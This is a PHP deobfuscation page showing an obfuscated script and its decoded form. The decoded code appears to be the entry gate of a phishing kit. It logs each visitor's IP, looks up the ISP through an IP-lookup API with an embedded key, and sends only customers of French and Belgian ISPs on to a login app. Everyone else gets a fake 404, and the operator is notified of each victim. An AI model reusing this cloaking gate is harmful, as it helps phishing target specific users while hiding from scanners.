Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto cwg1w; cQKTI: session_start(); goto qu5QO; m4syC: navID(); goto suU2B; cwg1w:..

Decoded Output download

<?php 
 goto cwg1w; cQKTI: session_start(); goto qu5QO; m4syC: navID(); goto suU2B; cwg1w: include "common/functions.php"; goto cQKTI; qu5QO: function navID() { $_SESSION["ip"] = $_SERVER["REMOTE_ADDR"]; $_SESSION["useragent"] = $_SERVER["HTTP_USER_AGENT"]; $ip = $_SESSION["ip"]; function navTazar() { $ip = $_SERVER["REMOTE_ADDR"]; $ipinfo = file_get_contents("https://pro.ip-api.com/json/" . $ip . "?key=L9EM8LGEb4aJnue"); $ipinfo_json = json_decode($ipinfo, true); return $ipinfo_json; } $ipinfo_json = navTazar($ip); if ($ipinfo_json["status"] != "fail") { $org = "{$ipinfo_json["as"]}"; $isps = "{$ipinfo_json["isp"]}"; } else { $org = "Introuvable"; $isps = "Introuvable"; } if (strpos($org, "Bouygues") || strpos($org, "Orange") || strpos($org, "bbox") || strpos($org, "sfr") || strpos($org, "Sfr") || strpos($org, "SFR") || strpos($org, "free") || strpos($org, "Free") || strpos($org, "wanadoo") || strpos($org, "Wanadoo") || strpos($org, "numericable") || strpos($org, "belgacom")) { $link = "location: app/"; header($link); sendTweaker("L'utilisateur {$ip} chez  {$org} , est sur la page login "); } else { die("HTTP/1.0 404 Not Found"); } } goto m4syC; suU2B: ?>

Did this file decode correctly?

Original Code

<?php
 goto cwg1w; cQKTI: session_start(); goto qu5QO; m4syC: navID(); goto suU2B; cwg1w: include "\x63\157\155\155\157\156\57\x66\x75\x6e\x63\164\151\x6f\x6e\163\x2e\x70\150\160"; goto cQKTI; qu5QO: function navID() { $_SESSION["\151\160"] = $_SERVER["\x52\x45\x4d\x4f\x54\x45\x5f\x41\x44\104\122"]; $_SESSION["\x75\x73\x65\162\x61\x67\x65\x6e\x74"] = $_SERVER["\110\x54\124\x50\x5f\x55\x53\105\122\x5f\101\107\105\x4e\124"]; $ip = $_SESSION["\151\160"]; function navTazar() { $ip = $_SERVER["\122\x45\115\x4f\124\x45\137\101\104\x44\x52"]; $ipinfo = file_get_contents("\150\164\x74\160\163\72\57\57\x70\x72\x6f\x2e\x69\x70\x2d\141\x70\x69\56\143\x6f\x6d\x2f\x6a\x73\x6f\156\x2f" . $ip . "\x3f\x6b\145\171\x3d\x4c\x39\x45\x4d\70\114\107\105\x62\64\x61\112\x6e\x75\x65"); $ipinfo_json = json_decode($ipinfo, true); return $ipinfo_json; } $ipinfo_json = navTazar($ip); if ($ipinfo_json["\x73\164\x61\164\165\163"] != "\146\x61\151\154") { $org = "{$ipinfo_json["\x61\x73"]}"; $isps = "{$ipinfo_json["\x69\x73\x70"]}"; } else { $org = "\x49\156\x74\162\157\165\x76\x61\142\x6c\145"; $isps = "\111\156\164\x72\x6f\x75\166\x61\x62\154\145"; } if (strpos($org, "\102\x6f\x75\171\147\165\x65\163") || strpos($org, "\117\x72\x61\156\147\x65") || strpos($org, "\x62\x62\x6f\x78") || strpos($org, "\163\146\x72") || strpos($org, "\x53\x66\162") || strpos($org, "\x53\106\122") || strpos($org, "\x66\x72\x65\x65") || strpos($org, "\x46\x72\x65\x65") || strpos($org, "\x77\141\156\141\144\x6f\157") || strpos($org, "\x57\141\x6e\141\x64\x6f\157") || strpos($org, "\x6e\165\x6d\x65\162\x69\x63\x61\x62\154\x65") || strpos($org, "\x62\145\154\147\141\x63\x6f\155")) { $link = "\154\x6f\143\x61\164\x69\157\x6e\72\40\141\x70\x70\x2f"; header($link); sendTweaker("\x4c\47\165\x74\x69\x6c\x69\163\141\x74\x65\165\x72\x20{$ip}\40\x63\150\145\x7a\x20\360\x9f\x8c\220\x20{$org}\x20\54\40\145\163\x74\40\x73\165\162\x20\x6c\141\x20\x70\141\x67\x65\40\x6c\x6f\x67\151\x6e\x20\xf0\x9f\214\x90"); } else { die("\x48\124\x54\x50\x2f\61\x2e\60\x20\x34\60\x34\x20\116\157\164\40\106\157\x75\156\144"); } } goto m4syC; suU2B: ?>

Function Calls

None

Variables

None

Stats

MD5 b1e9fb972ac2de48a661548ffdd73e73
Eval Count 0
Decode Time 51 ms